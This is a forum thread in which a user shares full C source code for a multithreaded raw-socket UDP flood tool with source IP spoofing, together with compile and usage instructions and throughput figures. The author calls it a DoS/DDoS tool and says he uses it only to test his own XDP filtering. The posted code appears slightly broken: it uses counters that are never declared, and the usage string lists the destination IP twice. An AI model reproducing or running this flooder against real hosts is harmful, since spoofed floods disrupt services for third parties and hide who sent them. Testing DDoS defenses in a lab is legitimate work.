Jump to content
 Share

Roy

[C] UDP Sender

Recommended Posts

Hey everyone,

 

I just wanted to share a simple program I made in C. This tool can be used to perform DoS attacks and if used from multiple servers, is considered a (D)DoS. It's capable of sending simple UDP floods. I am only using this program internally to test programs I make capable of filtering (D)DoS attacks.

 

Description

A C program I made to send UDP packets to a specified destination IP and port via raw sockets. This program supports the following:

  • pthreads (multi-threading).
  • Specifying a source IP (including spoofing the IP).
  • Minimum and maximum payload length (randomized for each packet).
  • Randomized source ports (from 10000 to 60000).
  • Wait times (intervals) between sending packets on each thread.
  • Calculates both the IP Header and UDP Header checksums.

 

Note - This program does not support packet fragmentation and there's really no point to add that support since that's not what the program is made for.

 

Why Did I Make This?

I am currently learning more about in-depth packet inspection along with learning how (D)DoS attacks work. I made this program and only use it on my local network. I am planning to create a UDP server application that is capable of filtering (D)DoS attacks and blocking them using XDP once detected. This tool will be used to test this server application I will be making. Eventually I will be making software that'll run on my Anycast network that will be capable of dropping detected (D)DoS attacks via XDP on all POP servers.

 

Compiling

I used GCC to compile this program. You must add -lpthread at the end of the command when compiling via GCC.

 

Here's an example:

 

gcc -g UDP_Sender.c -o UDP_Sender -lpthread

 

Usage

Usage is as follows:

 

Usage: ./UDP_Sender <Source IP> <Destination IP> <Destination IP> [<Max> <Min> <Interval> <Thread Count>]


Please note that the interval is in microseconds. The Min and Max payloads are in bytes. If you set the interval to 0, it will not wait between sending packets on each thread.

 

Here's an example:

 

./UDP_Sender 192.168.80.10 10.50.0.4 27015 1000 1200 1000 3


The above continuously sends packets to 10.50.0.4 (port 27015) and appears from 192.168.80.10 (in my case, spoofed). It sends anywhere from 1000 - 1200 bytes of payload data every 1000 microseconds. It will send these packets from 3 threads.

 

To-Do List

  • Pick source IPs from a configuration file on disk and randomize it for each packet.

 

Experiments

I was able to push around 300 mbps (~23K PPS) using this program on my local network. This was with no interval set and using one thread. The VM sending the information had 6 vCPUs and the processor was an older Intel Xeon clocked at 2.4 GHz. This VM was also using around 90 - 95% CPU when having this program running.

 

Download

 

If you're an experienced programmer and see anything that can be improved, please let me know!

 

Thanks.

Share this post


Link to post
Share on other sites


Posted  Edited by Roy

Here is the code as of March 12th, 2020 for anyone that hasn't visited the GitHub links. I don't really expect to make any changes to this code, I might make a new program in the future that'll be improved. Still not sure. It does what I need it to do. In the future, I'll probably make other programs that targets other protocols like TCP and ICMP along with learning how to block certain attacks, etc.

 

UDP_Sender.h

#define MAX_PCKT_LEN 65535

extern int errno;
uint8_t cont = 1;

struct connection 
{
    char *sIP;
    char *dIP;
    uint16_t dPort;
    uint8_t sockfd;
    uint16_t max;
    uint16_t min;
    uint64_t time;
    uint16_t threads;
};

 

UDP_Sender.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <string.h>
#include <error.h>
#include <errno.h>
#include <signal.h>
#include <time.h>
#include <sys/time.h>
#include <pthread.h>
#include <inttypes.h>

#include "UDP_Sender.h"

void sigHndl(int tmp)
{
    cont = 0;
}

uint16_t randNum(uint16_t min, uint16_t max)
{
    return (rand() % (max - min + 1)) + min;
}

// Calculates IP Header checksum.
uint16_t ip_csum(uint16_t *buf, size_t len)
{
    uint32_t sum;

    for (sum = 0; len > 0; len--)
    {
        sum += *buf++;
    }

    sum = (sum >> 16) + (sum & 0XFFFF);
    sum += (sum >> 16);

    return (uint16_t) ~sum;
}

// Calculates UDP Header checksum. Rewrote - https://gist.github.com/GreenRecycleBin/1273763
uint16_t udp_csum(struct udphdr *udphdr, size_t len, uint32_t srcAddr, uint32_t dstAddr)
{
    const uint16_t *buf = (const uint16_t*) udphdr;
    uint16_t *ip_src = (void *) &srcAddr, *ip_dst = (void *) &dstAddr;
    uint32_t sum;
    size_t length = len;

    sum = 0;

    while (len > 1)
    {
        sum += *buf++;

        if (sum & 0x80000000)
        {
            sum = (sum & 0xFFFF) + (sum >> 16);
        }

        len -= 2;
    }

    if (len & 1)
    {
        sum += *((uint8_t *) buf);
    }

    // Pseudo header.
    sum += *(ip_src++);
    sum += *ip_src;

    sum += *(ip_dst++);
    sum += *ip_dst;

    sum += htons(IPPROTO_UDP);
    sum += htons(length);

    while (sum >> 16)
    {
        sum = (sum & 0XFFFF) + (sum >> 16);
    }

    return (uint16_t) ~sum;
}

void *connHndl(void *data)
{
    // Get passed data.
    struct connection *con = data;

    while (1)
    {
        // Initiate variables.
        unsigned char buffer[MAX_PCKT_LEN];

        struct iphdr *iphdr = (struct iphdr *) buffer;
        struct udphdr *udphdr = (struct udphdr *) (buffer + sizeof(struct iphdr));
        unsigned char *pcktData = (unsigned char *) (buffer + sizeof(struct iphdr) + sizeof(struct udphdr));

        // Set everything to 0.
        memset(buffer, 0, MAX_PCKT_LEN);

        // Let's generate a random amount of data.
        uint16_t len = randNum(con->min, con->max);

        for (uint16_t i = 1; i <= len; i++)
        {
            *pcktData++ = randNum(0, 255);
        }

        uint16_t port = randNum(10000, 60000);
            
        // Initiate socket variables.
        struct sockaddr_in sin;

        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = inet_addr(con->dIP);
        memset(&sin.sin_zero, 0, sizeof(sin.sin_zero));

        // Fill out IP and UDP headers.
        iphdr->ihl = 5;
        iphdr->frag_off = 0;
        iphdr->version = 4;
        iphdr->protocol = IPPROTO_UDP;
        iphdr->tos = 16;
        iphdr->ttl = 64;
        iphdr->id = 0;
        iphdr->check = 0;
        iphdr->saddr = inet_addr(con->sIP);
        iphdr->daddr = inet_addr(con->dIP);
        iphdr->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + len;

        udphdr->uh_dport = htons(con->dPort);
        udphdr->uh_sport = htons(port);
        udphdr->len = htons(sizeof(struct udphdr) + len);
        udphdr->check = udp_csum(udphdr, sizeof(struct udphdr) + len, iphdr->saddr, iphdr->daddr);

        iphdr->check = ip_csum((uint16_t *)buffer, sizeof(struct iphdr));

        //fprintf(stdout, "Attempting to send packet to %s:%u from %s:%u with payload length %" PRIu16 " on sock " PRIu8 ". IP Hdr Length is %" PRIu16 " and UDP Hdr length is %" PRIu16 ".\n", con->dIP, con->dPort, con->sIP, port, len, con->sockfd, iphdr->tot_len, udphdr->len);
        
        uint16_t dataSent;

        // Send the packet.
        if ((dataSent = sendto(con->sockfd, buffer, iphdr->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin))) < 0)
        {
            fprintf(stdout, "Failed to send a packet. Error - %s (Sock FD is %" PRIu8 ")\n", strerror(errno), con->sockfd);
        }

        totalData += dataSent;

        packets++;

        // Wait.
        if (con->time > 0)
        {
            usleep(con->time);
        }
    }

    // Close thread.
    pthread_exit(NULL);
}

int main(int argc, char *argv[])
{
    // Check argument count.
    if (argc < 4)
    {
        fprintf(stdout, "Usage: %s <Source IP> <Destination IP> <Destination IP> [<Max> <Min> <Interval> <Thread Count>]", argv[0]);

        exit(0);
    }

    time_t start = time(NULL);

    // Create connection struct and fill out with argument data.
    struct connection con;

    con.sIP = argv[1];
    con.dIP = argv[2];
    con.dPort = atoi(argv[3]);
    con.min = 1000;
    con.max = 60000;
    con.time = 100000;
    con.threads = 1;

    // Min argument (optional).
    if (argc > 4)
    {
        con.min = atoi(argv[4]);
    }

    // Max argument (optional).
    if (argc > 5)
    {
        con.max = atoi(argv[5]);
    }

    // Interval argument (optional).
    if (argc > 6)
    {
        con.time = strtoul(argv[6], NULL, 10);
    }

    // Threads argument (optional).
    if (argc > 7)
    {
        con.threads = atoi(argv[7]);
    }

    // Create socket.
    int sockfd;
    int8_t one = 1;

    sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);

    // Check for socket error.
    if (sockfd <= 0)
    {
        fprintf(stderr, "Socket() Error - %s\n", strerror(errno));
        perror("socket");

        exit(1);
    }

    // Assign sockfd.
    con.sockfd = sockfd;

    // Set socket option that tells the socket we want to send our own headers.
    if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0)
    {
        fprintf(stderr, "SetSockOpt() Error - %s\n", strerror(errno));
        perror("setsockopt");

        // Close socket.
        close(sockfd);

        exit(1);
    }

    // Signal.
    signal(SIGINT, sigHndl);

    // Create threads.
    for (uint16_t i = 1; i <= con.threads; i++)
    {
        // Create thread to handle packets.
        pthread_t tid;

        if (pthread_create(&tid, NULL, connHndl, (void *)&con) != 0)
        {
            fprintf(stderr, "Failed to create thread #%" PRIu16 ".\n", i);
        }

        fprintf(stdout, "Spawned thread #%" PRIu16 "...\n", i);
    }

    // Prevent program from closing.
    while (cont)
    {
        sleep(1);
    }

    time_t end = time(NULL);

    time_t total = end - start;
    uint64_t pps = (uint64_t)(packets / (uint64_t)total);
    uint64_t totalMbits = totalData / 125000;
    uint64_t mbits = (uint64_t)(totalMbits / (uint64_t)total);

    fprintf(stdout, "\nTotal Time Elapsed => %jd seconds\nPacket Count => %" PRIu64 " (%" PRIu64 " PPS)\nData Sent => %" PRIu64 " megabits (%" PRIu64 " mbps)\n", total, packets, pps, totalMbits, mbits);

    // Close socket.
    close(sockfd);

    // Close the program successfully.
    exit(0);
}

 

Thanks.

Edited by Roy

Share this post


Link to post
Share on other sites


13 minutes ago, Nick said:

Who is this "Player" sharing DoS tools? smh :lenny:

On a serious note, happy to see you're still at it! Code looks noice and clean. 😄

Been doing a lot the past couple weeks and making a lot of progress :) 

Share this post


Link to post
Share on other sites


Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now


×
×
  • Create New...